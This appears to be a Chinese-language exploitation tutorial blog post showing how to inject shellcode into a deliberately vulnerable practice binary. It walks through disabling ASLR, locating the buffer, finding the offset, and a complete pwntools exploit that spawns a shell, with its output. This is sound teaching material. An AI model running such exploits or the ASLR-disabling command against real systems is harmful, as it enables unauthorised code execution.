- 发布于
shellcode
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
在真正的漏洞利用中,你不太可能拥有 win()
函数。shellcode 是一种允许 运行你自己的指令 的方法,使你能够在系统上运行任意命令。
shellcode 本质上是 一系列汇编指令,一旦我们将它输入到二进制文件中,它就会覆盖返回地址(返回指针)以劫持代码,并执行我们自己的指令。
Warning
我保证你可以相信我,但你永远不应该在不知道 shellcode 作用的情况下运行它。pwntools 很安全,并且几乎拥有你需要的所有 shellcode。
shellcode 成功的原因是 冯·诺伊曼结构(当今大多数计算机使用的体系结构)不区分数据和指令——无论你告诉它在哪里运行或运行什么内容,它都会尝试运行它。因此,即使我们输入的是攻击指令,计算机也不知道这一点,我们可以利用它来发挥我们的优势。
shellcode.zip
Binary
0x01 禁用 ASLR
ASLR 是一种安全技术,虽然它不是专门为对抗 shellcode 而设计的,但它涉及随机化内存的某些方面,可以看我的这篇博客:NOPs 。这种随机化可能会使我们的 shellcode 变得不可靠,所以我们现在将 禁用 它。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Note
类似这样的功能性指令以后还会碰到更多,我建议使用 alias
为它们创建一个别名。因为就算不考虑能不能记住这些指令,如果每次都手动输入那么长的指令也是一件很浪费时间的事情。
Warning
再次强调,如果你不知道指令的作用,则永远不要运行该指令。
0x02 确定缓冲区位置
使用 pwndbg
调试 vuln
,并找出缓冲区在内存中的起始位置;这就是我们想要将返回地址指向的位置。
$ pwndbg vuln
$ disass unsafe
[...]
0x0804918a <+24>: lea eax,[ebx-0x1ff8]
[...]
0x0804919c <+42>: lea eax,[ebp-0x134]
[...]
0x080491ac <+58>: mov ebx,DWORD PTR [ebp-0x4]
[...]
可以根据大小判断哪个是 局部变量。根据缓冲区大小是 300,可以判断出 ebp-0x134
很可能是缓冲区。让我们在 gets()
之后设置一个断点并找到确切的返回地址。
$ b *0x080491a8
$ r
Overflow me
<<IM HERE>> <== This was my input
$ x/20s $esp
[...]
0xffffd664: "<<IM HERE>>"
[...]
它似乎位于 0xffffd664
;如果我们多次运行二进制文件,它应该保持在原来的位置(如果没有,请确保 禁用 ASLR!)。
0x03 计算溢出 Padding
现在我们需要计算溢出 Padding。我们将使用 De Bruijn 序列,如上一篇 文章 中所述。
$ pwndbg vuln
$ cyclic 500
<COPY THIS>
$ r
Overflow me
<<PASTE HERE>>
Program received signal SIGSEGV, Segmentation fault.
0x64616164 in ?? ()
[...]
$ cyclic -l 0x64616164
Finding cyclic pattern of 4 bytes: b'daad' (hex: 0x64616164)
Found at offset 312
得到溢出 Padding 是 312 字节。
0x04 编写 Exploit
为了使 shellcode 正确,我们将把 context.binary
设置为我们的二进制文件;这会获取诸如架构、操作系统和位数之类的东西,并使 pwntools 能够为我们提供 shellcode。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.binary = ELF('./vuln')
p = process()
Note
我们可以只使用 process()
,因为一旦设置了 context.binary
就默认假定使用该进程。
现在我们可以使用 pwntools 出色的 shellcode 功能轻易的构建 shellcode。
payload = asm(shellcraft.sh()) # 构建 Shellcode
payload = payload.ljust(312, b'A') # 溢出 Padding
payload += p32(0xffffd664) # 返回地址
现在让我们将其发送出去并使用 p.interactive()
,它使我们能够与 shell 通信。
p.sendline(payload)
p.interactive()
$ python exp.py
[*] 'vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process 'vuln': pid 39321
[*] Switching to interactive mode
Overflow me
$ whoami
cub3y0nd
0x05 最终 Exploit
from pwn import *
context(os='linux', arch='amd64', log_level='info')
context.binary = ELF('./vuln')
p = process()
payload = asm(shellcraft.sh())
payload = payload.ljust(312, b'A')
payload += p32(0xffffd664)
p.sendline(payload)
p.interactive()
0x06 总结
- 当提示输入时,我们注入了 shellcode
- 然后,我们通过覆盖栈上保存的返回地址以指向我们的 shellcode 来劫持代码执行
- 一旦返回地址压入 EIP 中,它就指向我们的 shellcode
- 这导致程序执行我们的指令,为我们(在本例中)提供了用于执行 任意命令的 shell